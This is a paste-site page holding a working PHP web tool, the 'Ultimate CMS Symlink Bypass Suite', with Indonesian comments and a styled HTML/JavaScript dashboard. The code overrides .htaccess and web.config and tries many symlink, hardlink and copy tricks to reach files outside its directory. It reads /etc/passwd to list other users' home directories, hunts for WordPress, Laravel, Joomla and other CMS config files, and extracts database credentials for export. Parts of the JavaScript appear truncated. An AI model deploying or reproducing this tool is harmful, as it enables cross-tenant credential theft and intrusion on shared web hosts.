PasteShr

New Paste Browse

<?php
// ==============================================
// SUPER SYMLINK BYPASS SUITE - FULL VERSION
// ==============================================
error_reporting(0);
set_time_limit(0);
ini_set('display_errors', 0);

$FOLDER = "symlink_bypass_v2";
if(!is_dir($FOLDER)) {
    mkdir($FOLDER, 0777, true);
    // Bypass .htaccess
    $htaccess = "Options +Indexes +FollowSymLinks -MultiViews\nRequire all granted\nDirectoryIndex disabled\nphp_flag engine off";
    file_put_contents("$FOLDER/.htaccess", $htaccess);

// Bypass untuk IIS/web.config
    $webconfig = '<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.webServer>
        <directoryBrowse enabled="true" />
        <handlers>
            <remove name="PHP" />
        </handlers>
    </system.webServer>
</configuration>';
    file_put_contents("$FOLDER/web.config", $webconfig);
}

// ============== 15+ SYMLINK BYPASS TECHNIQUES ==============
function createSymlinkBypass($target, $linkname) {
    // Bersihkan target
    $target = str_replace('\\', '/', $target);
    $linkname = str_replace('\\', '/', $linkname);

// Hapus jika sudah ada
    if(is_link($linkname) || file_exists($linkname)) {
        @unlink($linkname);
    }

$techniques = [
        // Teknik 1: Normal
        $target,

// Teknik 2: Double slash bypass
        "//$target",
        "///$target",

// Teknik 3: Directory traversal
        "/./$target",
        "/../$target",
        "./$target",
        "../$target",

// Teknik 4: Realpath
        realpath($target) ?: $target,

// Teknik 5: URL encoded
        urlencode($target),

// Teknik 6: Mixed slash (Windows/Linux)
        str_replace('/', '\\', $target),
        str_replace('/', '//', $target),

// Teknik 7: Null byte (old PHP)
        $target . chr(0),

// Teknik 8: Space bypass
        $target . " ",
        " " . $target,

// Teknik 9: Using environment variable
        getenv('DOCUMENT_ROOT') . $target,

// Teknik 10: Using symlink to symlink
        (is_link($target) ? readlink($target) : $target),

// Teknik 11: Proc/self/cwd (Linux)
        (strpos(PHP_OS, 'Linux') !== false ? "/proc/self/cwd$target" : $target),

// Teknik 12: Using FTP wrapper
        "ftp://" . $target,

// Teknik 13: Phar wrapper
        "phar://" . $target,

// Teknik 14: Zip wrapper
        "zip://" . $target,

// Teknik 15: Glob bypass
        "glob://$target",
    ];

// Coba semua teknik
    foreach($techniques as $tech) {
        @clearstatcache();

// Coba symlink
        if(@symlink($tech, $linkname)) {
            @chmod($linkname, 0777);
            return ['status' => true, 'technique' => $tech];
        }

// Coba hardlink (alternative)
        if(@link($tech, $linkname)) {
            @chmod($linkname, 0777);
            return ['status' => true, 'technique' => "HARDLINK: $tech"];
        }

// Coba copy + bind (last resort)
        if(@copy($tech, $linkname)) {
            @chmod($linkname, 0777);
            return ['status' => true, 'technique' => "COPY: $tech"];
        }
    }

return ['status' => false, 'technique' => 'none'];
}

// ============== ADVANCED CMS SCANNER ==============
function scanAllHomes() {
    $homes = [];
    $possible_paths = [
        '/home', '/home2', '/home3', '/home4', '/home5', '/home6', '/home7', '/home8', '/home9',
        '/home10', '/home11', '/home12', '/home13', '/home14', '/home15', '/home16', '/home17',
        '/home18', '/home19', '/home20', '/var/www', '/var/www/html', '/var/www/vhosts',
        '/www', '/public_html', '/domains', '/data/www', '/usr/local/www', '/srv/www'
    ];

foreach($possible_paths as $path) {
        if(@is_dir($path)) {
            $homes[] = $path;
        }
    }

// Baca dari /etc/passwd
    if(@file_exists('/etc/passwd')) {
        $passwd = @file_get_contents('/etc/passwd');
        if(preg_match_all('/home\/([^:\/]+)/', $passwd, $matches)) {
            foreach($matches[0] as $home) {
                if(@is_dir($home)) $homes[] = $home;
            }
        }
    }

return array_unique($homes);
}

function scanCMSinHome($home) {
    $cms_list = [];

if(!$handle = @opendir($home)) return $cms_list;

while(false !== ($item = readdir($handle))) {
        if($item == '.' || $item == '..') continue;

$user_path = "$home/$item";
        if(!@is_dir($user_path)) continue;

$web_paths = [
            "$user_path/public_html",
            "$user_path/www",
            "$user_path/web",
            "$user_path/htdocs",
            "$user_path/httpdocs",
            "$user_path/html",
            "$user_path/site",
            "$user_path/website",
            "$user_path/domains",
            $user_path
        ];

foreach($web_paths as $web_path) {
            if(!@is_dir($web_path)) continue;

// Scan berbagai CMS
            $cms_configs = [
                // WordPress
                ['file' => 'wp-config.php', 'type' => 'WordPress', 'icon' => '⚙️', 'priority' => 1],
                ['file' => 'wp-config-sample.php', 'type' => 'WordPress (Sample)', 'icon' => '⚙️', 'priority' => 2],

// Laravel
                ['file' => '.env', 'type' => 'Laravel', 'icon' => '🎯', 'priority' => 1],
                ['file' => 'config/database.php', 'type' => 'Laravel Config', 'icon' => '🎯', 'priority' => 2],

// CodeIgniter
                ['file' => 'application/config/database.php', 'type' => 'CodeIgniter', 'icon' => '🔥', 'priority' => 1],
                ['file' => 'system/config/database.php', 'type' => 'CodeIgniter', 'icon' => '🔥', 'priority' => 2],

// Joomla
                ['file' => 'configuration.php', 'type' => 'Joomla', 'icon' => '🌐', 'priority' => 1],

// Drupal
                ['file' => 'sites/default/settings.php', 'type' => 'Drupal', 'icon' => '🐘', 'priority' => 1],
                ['file' => 'settings.php', 'type' => 'Drupal', 'icon' => '🐘', 'priority' => 2],

// Magento
                ['file' => 'app/etc/env.php', 'type' => 'Magento', 'icon' => '🛒', 'priority' => 1],
                ['file' => 'app/etc/local.xml', 'type' => 'Magento 1', 'icon' => '🛒', 'priority' => 1],

// PrestaShop
                ['file' => 'config/settings.inc.php', 'type' => 'PrestaShop', 'icon' => '🛍️', 'priority' => 1],

// OpenCart
                ['file' => 'config.php', 'type' => 'OpenCart', 'icon' => '📦', 'priority' => 1],
                ['file' => 'admin/config.php', 'type' => 'OpenCart Admin', 'icon' => '📦', 'priority' => 2],

// Symfony
                ['file' => '.env.local', 'type' => 'Symfony', 'icon' => '🎨', 'priority' => 1],
                ['file' => 'app/config/parameters.yml', 'type' => 'Symfony', 'icon' => '🎨', 'priority' => 2],

// CakePHP
                ['file' => 'config/app.php', 'type' => 'CakePHP', 'icon' => '🍰', 'priority' => 1],
                ['file' => 'app/Config/database.php', 'type' => 'CakePHP', 'icon' => '🍰', 'priority' => 2],

// Yii
                ['file' => 'protected/config/main.php', 'type' => 'Yii', 'icon' => '🟡', 'priority' => 1],
                ['file' => 'config/db.php', 'type' => 'Yii2', 'icon' => '🟡', 'priority' => 1],

// Custom config files
                ['file' => 'config.php', 'type' => 'Generic Config', 'icon' => '📄', 'priority' => 3],
                ['file' => 'database.php', 'type' => 'Database Config', 'icon' => '🗄️', 'priority' => 3],
                ['file' => 'db.php', 'type' => 'Database Config', 'icon' => '🗄️', 'priority' => 3],
                ['file' => 'settings.php', 'type' => 'Settings', 'icon' => '⚙️', 'priority' => 3],
                ['file' => '.env.production', 'type' => 'Laravel Env', 'icon' => '🎯', 'priority' => 2],
                ['file' => '.env.staging', 'type' => 'Laravel Env', 'icon' => '🎯', 'priority' => 2],
            ];

foreach($cms_configs as $cms) {
                $config_path = "$web_path/{$cms['file']}";
                if(@file_exists($config_path)) {
                    $cms_list[] = [
                        'user' => $item,
                        'type' => $cms['type'],
                        'config' => $config_path,
                        'path' => $web_path,
                        'icon' => $cms['icon'],
                        'priority' => $cms['priority'],
                        'filesize' => @filesize($config_path)
                    ];
                }
            }
        }
    }

closedir($handle);

// Sort by priority (higher priority first)
    usort($cms_list, function($a, $b) {
        return $a['priority'] - $b['priority'];
    });

return $cms_list;
}

// ============== ADVANCED DB EXTRACTOR ==============
function extractDBinfo($filepath) {
    if(!@file_exists($filepath)) return ['error' => 'File not found'];

$content = @file_get_contents($filepath);
    if(!$content) return ['error' => 'Cannot read file'];

$info = [
        'type' => 'Unknown',
        'db' => '',
        'user' => '',
        'pass' => '',
        'host' => 'localhost',
        'port' => '3306',
        'charset' => '',
        'prefix' => ''
    ];

// WordPress patterns
    if(preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]/i", $content, $m)) {
        $info['type'] = 'WordPress';
        $info['db'] = $m[1];
        preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]/i", $content, $m) && ($info['user'] = $m[1]);
        preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]+)['\"]/i", $content, $m) && ($info['pass'] = $m[1]);
        preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]/i", $content, $m) && ($info['host'] = $m[1]);
        preg_match("/define\s*\(\s*['\"]DB_CHARSET['\"]\s*,\s*['\"]([^'\"]+)['\"]/i", $content, $m) && ($info['charset'] = $m[1]);
        preg_match("/\\\$table_prefix\s*=\s*['\"]([^'\"]+)['\"]/i", $content, $m) && ($info['prefix'] = $m[1]);
    }

// Laravel patterns
    elseif(preg_match("/DB_DATABASE=([^\s\n]+)/i", $content, $m)) {
        $info['type'] = 'Laravel';
        $info['db'] = trim($m[1], "'\"");
        preg_match("/DB_USERNAME=([^\s\n]+)/i", $content, $m) && ($info['user'] = trim($m[1], "'\""));
        preg_match("/DB_PASSWORD=([^\s\n]+)/i", $content, $m) && ($info['pass'] = trim($m[1], "'\""));
        preg_match("/DB_HOST=([^\s\n]+)/i", $content, $m) && ($info['host'] = trim($m[1], "'\""));
        preg_match("/DB_PORT=([^\s\n]+)/i", $content, $m) && ($info['port'] = trim($m[1], "'\""));
    }

// CodeIgniter 3 patterns
    elseif(preg_match("/\\\$db\['default'\]\['database'\]\s*=\s*['\"]([^'\"]+)['\"]/i", $content, $m)) {
        $info['type'] = 'CodeIgniter 3';
        $info['db'] = $m[1];
        preg_match("/\\\$db\['default'\]\['username'\]\s*=\s*['\"]([^'\"]+)['\"]/i", $content, $m) && ($info['user'] = $m[1]);
        preg_match("/\\\$db\['default'\]\['password'\]\s*=\s*['\"]([^'\"]+)['\"]/i", $content, $m) && ($info['pass'] = $m[1]);
        preg_match("/\\\$db\['default'\]\['hostname'\]\s*=\s*['\"]([^'\"]+)['\"]/i", $content, $m) && ($info['host'] = $m[1]);
    }

// Joomla patterns
    elseif(preg_match("/public\s+\\\$db\s*=\s*['\"]([^'\"]+)['\"]/i", $content, $m)) {
        $info['type'] = 'Joomla';
        $info['db'] = $m[1];
        preg_match("/public\s+\\\$user\s*=\s*['\"]([^'\"]+)['\"]/i", $content, $m) && ($info['user'] = $m[1]);
        preg_match("/public\s+\\\$password\s*=\s*['\"]([^'\"]+)['\"]/i", $content, $m) && ($info['pass'] = $m[1]);
        preg_match("/public\s+\\\$host\s*=\s*['\"]([^'\"]+)['\"]/i", $content, $m) && ($info['host'] = $m[1]);
    }

// Drupal patterns
    elseif(preg_match("/\\\$databases\['default'\]\['default'\]\['database'\]\s*=\s*['\"]([^'\"]+)['\"]/i", $content, $m)) {
        $info['type'] = 'Drupal';
        $info['db'] = $m[1];
        preg_match("/\\\$databases\['default'\]\['default'\]\['username'\]\s*=\s*['\"]([^'\"]+)['\"]/i", $content, $m) && ($info['user'] = $m[1]);
        preg_match("/\\\$databases\['default'\]\['default'\]\['password'\]\s*=\s*['\"]([^'\"]+)['\"]/i", $content, $m) && ($info['pass'] = $m[1]);
        preg_match("/\\\$databases\['default'\]\['default'\]\['host'\]\s*=\s*['\"]([^'\"]+)['\"]/i", $content, $m) && ($info['host'] = $m[1]);
    }

// Magento 2 patterns
    elseif(preg_match("/'dbname'\s*=>\s*['\"]([^'\"]+)['\"]/i", $content, $m)) {
        $info['type'] = 'Magento 2';
        $info['db'] = $m[1];
        preg_match("/'username'\s*=>\s*['\"]([^'\"]+)['\"]/i", $content, $m) && ($info['user'] = $m[1]);
        preg_match("/'password'\s*=>\s*['\"]([^'\"]+)['\"]/i", $content, $m) && ($info['pass'] = $m[1]);
        preg_match("/'host'\s*=>\s*['\"]([^'\"]+)['\"]/i", $content, $m) && ($info['host'] = $m[1]);
    }

// Generic patterns (fallback)
    else {
        if(preg_match("/(?:database|dbname|db_name)\s*[:=]\s*['\"]([^'\"]+)['\"]/i", $content, $m)) $info['db'] = $m[1];
        if(preg_match("/(?:username|db_user|dbuser)\s*[:=]\s*['\"]([^'\"]+)['\"]/i", $content, $m)) $info['user'] = $m[1];
        if(preg_match("/(?:password|pass|db_pass|dbpass|pwd)\s*[:=]\s*['\"]([^'\"]+)['\"]/i", $content, $m)) $info['pass'] = $m[1];
        if(preg_match("/(?:host|db_host|dbhost)\s*[:=]\s*['\"]([^'\"]+)['\"]/i", $content, $m)) $info['host'] = $m[1];
    }

// Clean up
    foreach($info as $key => $value) {
        $info[$key] = htmlspecialchars(trim($value, "'\" \t\n\r\0\x0B"));
    }

return $info;
}

// ============== AJAX HANDLER ==============
if(isset($_GET['action'])) {
    header('Content-Type: application/json');

switch($_GET['action']) {
        case 'scan':
            $homes = scanAllHomes();
            $all_cms = [];

foreach($homes as $home) {
                $cms_in_home = scanCMSinHome($home);
                $all_cms = array_merge($all_cms, $cms_in_home);
            }

// Remove duplicates
            $unique = [];
            foreach($all_cms as $cms) {
                $key = $cms['config'];
                if(!isset($unique[$key])) $unique[$key] = $cms;
            }

echo json_encode(array_values($unique));
            break;

case 'create':
            $target = $_GET['target'] ?? '';
            if($target) {
                $linkname = $FOLDER . "/link_" . md5($target . microtime()) . "_" . rand(1000,9999);
                $result = createSymlinkBypass($target, $linkname);

if($result['status']) {
                    echo json_encode([
                        'status' => 'success',
                        'link' => basename($linkname),
                        'technique' => $result['technique'],
                        'fullpath' => $linkname
                    ]);
                } else {
                    echo json_encode([
                        'status' => 'error',
                        'message' => 'All 15+ bypass techniques failed',
                        'target' => $target
                    ]);
                }
            }
            break;

case 'view':
            $link = $_GET['link'] ?? '';
            if($link && file_exists("$FOLDER/$link")) {
                $target = is_link("$FOLDER/$link") ? @readlink("$FOLDER/$link") : $link;
                if(@file_exists($target) || @is_link($target)) {
                    $content = @file_get_contents($target);
                    if($content !== false) {
                        echo $content;
                    } else {
                        echo "Unable to read file content (maybe protected)";
                    }
                } else {
                    echo "Target file not accessible: $target";
                }
            } else {
                echo "Invalid symlink";
            }
            break;

case 'extract':
            $link = $_GET['link'] ?? '';
            if($link && file_exists("$FOLDER/$link")) {
                $target = is_link("$FOLDER/$link") ? @readlink("$FOLDER/$link") : $link;
                $info = extractDBinfo($target);
                echo json_encode($info);
            } else {
                echo json_encode(['error' => 'Invalid link']);
            }
            break;

case 'list':
            $links = [];
            if(is_dir($FOLDER)) {
                foreach(scandir($FOLDER) as $item) {
                    if($item == '.' || $item == '..') continue;
                    $path = "$FOLDER/$item";
                    $links[] = [
                        'name' => $item,
                        'target' => is_link($path) ? @readlink($path) : $path,
                        'is_link' => is_link($path),
                        'size' => @filesize($path),
                        'created' => @date('Y-m-d H:i:s', filectime($path))
                    ];
                }
            }
            echo json_encode($links);
            break;

case 'delete':
            $link = $_GET['link'] ?? '';
            if($link) {
                $path = "$FOLDER/$link";
                if(is_link($path) || file_exists($path)) {
                    @unlink($path);
                    echo json_encode(['status' => 'deleted', 'link' => $link]);
                } else {
                    echo json_encode(['status' => 'not found']);
                }
            }
            break;

case 'bulk_create':
            $targets = json_decode($_GET['targets'] ?? '[]', true);
            $results = [];
            foreach($targets as $target) {
                $linkname = $FOLDER . "/bulk_" . md5($target) . ".link";
                $result = createSymlinkBypass($target, $linkname);
                $results[] = [
                    'target' => $target,
                    'status' => $result['status'],
                    'link' => $result['status'] ? basename($linkname) : null
                ];
            }
            echo json_encode($results);
            break;
    }
    exit;
}
?>
<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>🚀 Ultimate CMS Symlink Bypass Suite v2.0</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <style>
        @keyframes gradient {
            0% { background-position: 0% 50%; }
            50% { background-position: 100% 50%; }
            100% { background-position: 0% 50%; }
        }
        .bg-gradient-animate {
            background: linear-gradient(-45deg, #ee7752, #e73c7e, #23a6d5, #23d5ab);
            background-size: 400% 400%;
            animation: gradient 15s ease infinite;
        }
        .glow-text {
            text-shadow: 0 0 10px rgba(0,255,0,0.5);
        }
        .card-hover:hover {
            transform: translateY(-5px);
            transition: all 0.3s ease;
        }
        .blink {
            animation: blink 1s infinite;
        }
        @keyframes blink {
            0%, 100% { opacity: 1; }
            50% { opacity: 0.5; }
        }
        pre {
            white-space: pre-wrap;
            word-wrap: break-word;
        }
    </style>
</head>
<body class="bg-gradient-to-br from-gray-900 via-gray-800 to-black text-white min-h-screen">
    <div class="container mx-auto px-4 py-6 max-w-7xl">
        
        <div class="bg-gradient-animate rounded-2xl p-8 mb-8 shadow-2xl">
            <div class="flex items-center justify-between flex-wrap">
                <div>
                    <h1 class="text-4xl font-bold mb-2 flex items-center gap-3">
                        <i class="fas fa-link text-yellow-400"></i>
                        Ultimate Symlink Bypass Suite
                    </h1>
                    <p class="text-gray-200 text-lg">Advanced CMS Scanner + 15+ Symlink Bypass Techniques</p>
                    <div class="flex gap-2 mt-3">
                        <span class="bg-green-600 px-3 py-1 rounded-full text-xs">WordPress</span>
                        <span class="bg-blue-600 px-3 py-1 rounded-full text-xs">Laravel</span>
                        <span class="bg-purple-600 px-3 py-1 rounded-full text-xs">CodeIgniter</span>
                        <span class="bg-red-600 px-3 py-1 rounded-full text-xs">Joomla</span>
                        <span class="bg-pink-600 px-3 py-1 rounded-full text-xs">Drupal</span>
                        <span class="bg-orange-600 px-3 py-1 rounded-full text-xs">Magento</span>
                    </div>
                </div>
                <div class="text-right">
                    <div class="bg-black/50 rounded-lg p-3">
                        <i class="fas fa-server"></i> PHP: <?= phpversion() ?><br>
                        <i class="fas fa-link"></i> Symlink: <?= function_exists('symlink') ? '✅ Enabled' : '❌ Disabled' ?>
                    </div>
                </div>
            </div>
        </div>

<div class="grid grid-cols-1 md:grid-cols-4 gap-4 mb-8">
            <div class="bg-gray-800 rounded-xl p-6 text-center card-hover">
                <i class="fas fa-database text-3xl text-blue-400 mb-2"></i>
                <div class="text-2xl font-bold" id="cmsCount">0</div>
                <div class="text-gray-400">CMS Ditemukan</div>
            </div>
            <div class="bg-gray-800 rounded-xl p-6 text-center card-hover">
                <i class="fas fa-link text-3xl text-green-400 mb-2"></i>
                <div class="text-2xl font-bold" id="linkCount">0</div>
                <div class="text-gray-400">Symlink Aktif</div>
            </div>
            <div class="bg-gray-800 rounded-xl p-6 text-center card-hover">
                <i class="fas fa-key text-3xl text-yellow-400 mb-2"></i>
                <div class="text-2xl font-bold" id="dbCount">0</div>
                <div class="text-gray-400">DB Creds Ditemukan</div>
            </div>
            <div class="bg-gray-800 rounded-xl p-6 text-center card-hover">
                <button onclick="scanServer()" id="scanBtn" class="w-full bg-gradient-to-r from-green-600 to-blue-600 hover:from-green-700 hover:to-blue-700 p-3 rounded-lg font-bold transition">
                    <i class="fas fa-search"></i> FULL SCAN
                </button>
            </div>
        </div>

<div class="mb-8">
            <h2 class="text-2xl font-bold mb-4 flex items-center gap-2">
                <i class="fas fa-crown text-yellow-400"></i>
                Detected CMS Configurations
                <span class="text-sm bg-gray-700 px-3 py-1 rounded-full" id="scanTime"></span>
            </h2>
            <div id="results" class="grid grid-cols-1 gap-3">
                <div class="text-center text-gray-500 py-10">
                    <i class="fas fa-spinner fa-spin text-3xl mb-2"></i>
                    <p>Click "FULL SCAN" to start scanning...</p>
                </div>
            </div>
        </div>

<div class="grid grid-cols-1 lg:grid-cols-2 gap-8 mb-8">
            <div>
                <h2 class="text-2xl font-bold mb-4 flex items-center gap-2">
                    <i class="fas fa-link text-green-400"></i>
                    Active Symlinks
                    <button onclick="clearAllSymlinks()" class="text-xs bg-red-600 hover:bg-red-700 px-3 py-1 rounded">
                        <i class="fas fa-trash"></i> Clear All
                    </button>
                </h2>
                <div id="links" class="space-y-2 max-h-96 overflow-y-auto">
                    <div class="text-gray-500 text-center py-5">No active symlinks</div>
                </div>
            </div>

<div>
                <h2 class="text-2xl font-bold mb-4 flex items-center gap-2">
                    <i class="fas fa-database text-purple-400"></i>
                    Database Credentials Extractor
                </h2>
                <div id="dbInfo" class="bg-gray-800 rounded-xl p-4">
                    <div class="text-gray-500 text-center py-5">
                        <i class="fas fa-info-circle"></i> Click "Extract DB" on any symlink
                    </div>
                </div>

<div class="mt-4 bg-gray-800 rounded-xl p-4">
                    <h3 class="font-bold mb-2"><i class="fas fa-layer-group"></i> Bulk Actions</h3>
                    <button onclick="bulkCreateLinks()" class="bg-blue-600 hover:bg-blue-700 px-4 py-2 rounded text-sm mr-2">
                        <i class="fas fa-copy"></i> Create All Links
                    </button>
                    <button onclick="exportData()" class="bg-green-600 hover:bg-green-700 px-4 py-2 rounded text-sm">
                        <i class="fas fa-download"></i> Export Results (JSON)
                    </button>
                </div>
            </div>
        </div>

<div class="text-center text-gray-500 text-sm pt-8 border-t border-gray-800">
            <i class="fas fa-shield-alt"></i> Advanced Symlink Bypass Suite | 15+ Techniques | Auto DB Extractor
        </div>
    </div>

async function scanServer() {
            const btn = document.getElementById('scanBtn');
            const originalText = btn.innerHTML;
            btn.innerHTML = '<i class="fas fa-spinner fa-spin"></i> SCANNING...';
            btn.disabled = true;

try {
                const response = await fetch('?action=scan');
                const data = await response.json();
                currentCMS = data;

document.getElementById('cmsCount').innerText = data.length;
                document.getElementById('scanTime').innerHTML = `<i class="far fa-clock"></i> ${new Date().toLocaleTimeString()}`;

displayResults(data);
                loadActiveLinks();
            } catch (error) {
                alert('Scan error: ' + error.message);
            } finally {
                btn.innerHTML = originalText;
                btn.disabled = false;
            }
        }

function displayResults(cmsList) {
            const container = document.getElementById('results');

if(!cmsList || cmsList.length === 0) {
                container.innerHTML = '<div class="text-center text-gray-500 py-10"><i class="fas fa-folder-open"></i> No CMS found</div>';
                return;
            }

container.innerHTML = html;
        }

async function createSymlink(target, type) {
            const btn = event.target.closest('button');
            const originalHtml = btn.innerHTML;
            btn.innerHTML = '<i class="fas fa-spinner fa-spin"></i>';
            btn.disabled = true;

try {
                const response = await fetch('?action=create&target=' + encodeURIComponent(target));
                const data = await response.json();

if(data.status === 'success') {
                    showNotification(`✅ Symlink created! Technique: ${data.technique}`, 'success');
                    await extractDBinfo(data.link);
                    await loadActiveLinks();
                } else {
                    showNotification(`❌ Failed: ${data.message}`, 'error');
                }
            } catch (error) {
                showNotification('Error: ' + error.message, 'error');
            } finally {
                btn.innerHTML = originalHtml;
                btn.disabled = false;
            }
        }

async function viewConfigFile(path) {
            // Create temp link first
            const response = await fetch('?action=create&target=' + encodeURIComponent(path));
            const data = await response.json();

if(data.status === 'success') {
                const win = window.open();
                win.document.write('<div style="background:#000;color:#0f0;padding:20px;font-family:monospace;"><i class="fas fa-spinner fa-spin"></i> Loading...</div>');

const viewResponse = await fetch('?action=view&link=' + encodeURIComponent(data.link));
                const content = await viewResponse.text();

win.document.body.innerHTML = `
                    <div style="background:#000;color:#0f0;padding:20px;font-family:monospace;white-space:pre-wrap;word-wrap:break-word;">
                        <h2>Config File: ${escapeHtml(path)}</h2>
                        <hr>
                        <pre>${escapeHtml(content)}</pre>
                    </div>
                `;
            } else {
                showNotification('Cannot create symlink to view file', 'error');
            }
        }

async function extractDBinfo(linkname) {
            try {
                const response = await fetch('?action=extract&link=' + encodeURIComponent(linkname));
                const info = await response.json();

const container = document.getElementById('dbInfo');

if(info.error) {
                    container.innerHTML = `<div class="text-yellow-400"><i class="fas fa-exclamation-triangle"></i> ${info.error}</div>`;
                    return;
                }

if(info.type && info.type !== 'Unknown') {
                    let hasCreds = false;
                    let html = `<div class="space-y-3">
                        <div class="flex items-center gap-2">
                            <i class="fas fa-check-circle text-green-400"></i>
                            <span class="font-bold text-lg">${escapeHtml(info.type)}</span>
                        </div>
                        <div class="grid grid-cols-2 gap-3">`;

if(info.db) { html += `<div class="bg-gray-900 p-3 rounded"><div class="text-gray-400 text-xs">Database</div><div class="font-mono text-sm break-all">${escapeHtml(info.db)}</div></div>`; hasCreds = true; }
                    if(info.user) { html += `<div class="bg-gray-900 p-3 rounded"><div class="text-gray-400 text-xs">Username</div><div class="font-mono text-sm break-all">${escapeHtml(info.user)}</div></div>`; hasCreds = true; }
                    if(info.pass) { html += `<div class="bg-gray-900 p-3 rounded"><div class="text-gray-400 text-xs">Password</div><div class="font-mono text-sm break-all text-green-400">${escapeHtml(info.pass)}</div></div>`; hasCreds = true; }
                    if(info.host) { html += `<div class="bg-gray-900 p-3 rounded"><div class="text-gray-400 text-xs">Host</div><div class="font-mono text-sm break-all">${escapeHtml(info.host)}</div></div>`; hasCreds = true; }
                    if(info.port && info.port !== '3306') { html += `<div class="bg-gray-900 p-3 rounded"><div class="text-gray-400 text-xs">Port</div><div>${escapeHtml(info.port)}</div></div>`; }

html += `</div></div>`;

if(hasCreds) {
                        html += `<div class="mt-3 flex gap-2">
                            <button onclick="copyToClipboard('${escapeHtml(info.user)}:${escapeHtml(info.pass)}@${escapeHtml(info.host)}/${escapeHtml(info.db)}')"
                                    class="bg-purple-600 hover:bg-purple-700 px-3 py-1 rounded text-sm">
                                <i class="fas fa-copy"></i> Copy Connection String
                            </button>
                        </div>`;
                        document.getElementById('dbCount').innerText = parseInt(document.getElementById('dbCount').innerText) + 1;
                    }

container.innerHTML = html;
                } else {
                    container.innerHTML = '<div class="text-gray-500"><i class="fas fa-database"></i> No database credentials found in this config</div>';
                }
            } catch (error) {
                document.getElementById('dbInfo').innerHTML = `<div class="text-red-400">Error: ${error.message}</div>`;
            }
        }

async function loadActiveLinks() {
            try {
                const response = await fetch('?action=list');
                const links = await response.json();

document.getElementById('linkCount').innerText = links.length;

const container = document.getElementById('links');

if(links.length === 0) {
                    container.innerHTML = '<div class="text-gray-500 text-center py-5"><i class="fas fa-link"></i> No active symlinks</div>';
                    return;
                }

container.innerHTML = html;
            } catch (error) {
                console.error('Load links error:', error);
            }
        }

async function deleteSymlink(linkname) {
            if(confirm(`Delete symlink "${linkname}"?`)) {
                await fetch('?action=delete&link=' + encodeURIComponent(linkname));
                await loadActiveLinks();
                showNotification('Symlink deleted', 'info');
            }
        }

async function clearAllSymlinks() {
            if(confirm('⚠️ Delete ALL symlinks? This cannot be undone!')) {
                const response = await fetch('?action=list');
                const links = await response.json();

for(const link of links) {
                    await fetch('?action=delete&link=' + encodeURIComponent(link.name));
                }

await loadActiveLinks();
                showNotification(`Deleted ${links.length} symlinks`, 'success');
            }
        }

async function bulkCreateLinks() {
            if(currentCMS.length === 0) {
                showNotification('No CMS found. Run scan first!', 'error');
                return;
            }

const targets = currentCMS.map(cms => cms.config);
            showNotification(`Creating ${targets.length} symlinks...`, 'info');

const response = await fetch('?action=bulk_create&targets=' + encodeURIComponent(JSON.stringify(targets)));
            const results = await response.json();

const success = results.filter(r => r.status).length;
            showNotification(`Created ${success}/${results.length} symlinks`, success > 0 ? 'success' : 'error');
            await loadActiveLinks();
        }

function exportData() {
            const data = {
                timestamp: new Date().toISOString(),
                cms_found: currentCMS,
                server_info: {
                    php: '<?= phpversion() ?>',
                    software: '<?= $_SERVER["SERVER_SOFTWARE"] ?? "Unknown" ?>',
                    symlink_supported: <?= function_exists('symlink') ? 'true' : 'false' ?>
                }
            };

const blob = new Blob([JSON.stringify(data, null, 2)], {type: 'application/json'});
            const url = URL.createObjectURL(blob);
            const a = document.createElement('a');
            a.href = url;
            a.download = `cms_scan_${Date.now()}.json`;
            a.click();
            URL.revokeObjectURL(url);

showNotification('Data exported successfully', 'success');
        }

function copyPath(path) {
            copyToClipboard(path);
            showNotification('Path copied to clipboard', 'success');
        }

function copyToClipboard(text) {
            navigator.clipboard.writeText(text).then(() => {
                showNotification('Copied!', 'success');
            });
        }

setTimeout(() => {
                notification.style.opacity = '0';
                setTimeout(() => notification.remove(), 300);
            }, 3000);
        }

// Auto scan on load
        document.addEventListener('DOMContentLoaded', () => {
            setTimeout(scanServer, 500);
            setInterval(loadActiveLinks, 30000); // Refresh every 30 seconds
        });
    </script>
</body>
</html>

Paste Settings

Paste Title : [Optional]

Paste Folder : [Optional]

Syntax Highlighting : [Optional]

Paste Expiration : [Optional]

Paste Status : [Optional]

Password : [Optional]

Description: [Optional]

Tags: [Optional]

Encrypt Paste (?)

You are currently not logged in, this means you can not edit or delete anything you paste. Sign Up or Login

Recent Pastes

Untitled
Plaintext | 1 | 35 minutes ago
Untitled
Plaintext | 2 | 37 minutes ago
Untitled
Plaintext | 16 | 2 hours ago
localsym
Plaintext | 17 | 5 hours ago
Untitled
Plaintext | 48 | 2 days ago
Untitled
Plaintext | 34 | 4 days ago
Untitled
Plaintext | 33 | 5 days ago

Paste Settings

Site Languages